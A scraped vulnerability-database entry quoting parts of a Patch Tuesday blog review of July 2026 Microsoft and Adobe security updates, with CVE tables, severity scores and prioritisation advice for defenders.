No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-14T22:04:38.030252Z"}, {"uuid": "195b45a6-1806-4291-92a6-3d580ec5383b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54107", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  